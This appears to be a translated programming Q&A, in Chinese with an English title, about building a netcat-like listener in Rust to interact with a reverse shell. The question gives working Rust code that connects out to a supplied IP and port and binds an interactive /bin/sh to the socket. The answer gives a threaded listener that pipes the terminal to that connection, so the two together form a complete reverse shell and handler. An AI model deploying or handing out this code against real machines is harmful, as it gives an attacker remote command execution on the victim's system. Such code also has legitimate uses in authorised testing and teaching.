如何与 Rust 中的反向 shell 交互?

How to interact with a reverse shell in Rust?

OpenBSD 的 Netcat implementation 使用 unix_bind() 侦听端口...与 Rust 的 TcpListener::bind() 行为基本相同。我在编写 listen 函数(模拟 nc -l -p <port>)时迷失的地方是如何与反向 shell 交互。

虽然听起来似乎微不足道,但我希望 listennc -l -p <port> 一样给我 sh-3.2$ 提示。我在网上找到的所有 Netcat-Rust 实现都不允许我像那样与反向 shells 交互。

反向shell代码(机器1):(改编自我几年前问过)

fn reverse_shell(ip: &str, port: &str) {
    let s = TcpStream::connect((ip, port)).unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn().unwrap().wait().unwrap();
}

监听代码(机器2):

fn listen(port: u16) {
   let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
   let (mut stream, _) = x.accept().unwrap();
   // How do I interact with the shell now??
}

Rust 代码有一定的简单和优雅,可以帮助我简洁地理解正在发生的事情,这就是为什么我不想只从 Netcat 复制 C 代码。

基本上,我们想要两个双向重定向 - 一个从 stdinstream,另一个从 streamstdout

我们可以使用下面的通用 pipe_thread 函数来完成此操作,该函数为此创建一个专用的 OS 线程(可以更有效地完成,但我们希望简单)。在 listen 中,我们像这样生成两个线程,并等待它们终止。

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where R: std::io::Read + Send + 'static,
      W: std::io::Write + Send + 'static
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                break;
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn listen(port: u16) {
   let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
   let (mut stream, _) = x.accept().unwrap();
   let t1 = pipe_thread(std::io::stdin(), stream.try_clone().unwrap());
   let t2 = pipe_thread(stream, std::io::stdout());
   t1.join();
   t2.join();
}